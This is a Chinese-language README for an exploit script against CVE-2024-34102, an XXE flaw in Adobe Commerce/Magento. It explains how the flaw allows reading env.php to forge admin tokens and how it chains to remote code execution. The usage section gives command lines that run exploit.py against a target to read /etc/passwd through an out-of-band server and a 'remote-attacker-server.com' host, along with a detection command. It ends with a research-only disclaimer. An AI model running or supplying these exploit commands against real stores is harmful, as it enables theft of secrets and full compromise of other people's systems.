
CVE-2024-34102 是一个严重的安全缺陷,源于 Adobe Commerce 和 Magento 中对嵌套反序列化处理不当。此漏洞允许攻击者在反序列化过程中利用 XML 外部实体 (XXE),可能导致远程代码执行。简而言之,攻击者可以构造恶意的 JSON 数据,当应用程序反序列化这些数据时,会实例化具有意外属性或行为的对象。这可能导致各种安全风险。
利用此漏洞,攻击者能够未经授权获得对 REST API、GraphQL API 或 SOAP API 的管理员访问权限,可能导致数据窃取、服务中断以及受影响系统的完全沦陷。该漏洞因其能够窃取敏感文件(如包含用于认证的加密密钥的 app/etc/env.php)而构成重大风险。攻击者可以利用这一点伪造管理员令牌,并以特权用户身份操作 Magento 的 API。
此外,CVE-2024-34102 可与其他漏洞(如 PHP 过滤器链利用 CVE-2024-2961)链式利用,从而实现远程代码执行 (RCE)。XML 外部实体 (XXE) 漏洞的更广泛影响使得攻击者能够检索和操作来自外部源的数据,从而加剧对受影响系统的潜在危害。
usage: exploit.py [-h] --target TARGET --read-file READ_FILE [--oob-server OOB_SERVER] [--host-server HOST_SERVER]
XXE 漏洞利用脚本
options:
-h, --help 显示此帮助信息并退出
--target TARGET, -t TARGET
目标 URL (http(s)://ip[:port])
--read-file READ_FILE, -r READ_FILE
从远程主机读取的文件
--oob-server OOB_SERVER, -ob OOB_SERVER
OOB 服务器 URL (http(s)://ip[:port])
--host-server HOST_SERVER, -hs HOST_SERVER
主机服务器 URL (http(s)://ip[:port])
示例
# 使用本地攻击者服务器和本地 OOB 服务器运行
python3 exploit.py -t https://magento.test -r "/etc/passwd"
# 使用远程攻击者服务器和远程 OOB 服务器运行
python3 exploit.py -t https://magento.test --oob-server http://xxx.oasitfy.com --host-server https://remote-attacker-server.com -r "/etc/passwd"
# 检测
python3 detect.py -t https://magento.test
此利用脚本仅用于研究目的以及开发有效的防御技术。它不应用于任何恶意或未经授权的活动。脚本的作者和所有者对因使用此软件而造成的任何误用或损害不承担任何责任。请用户负责任地使用此软件,并仅遵守适用的法律法规。请负责任地使用。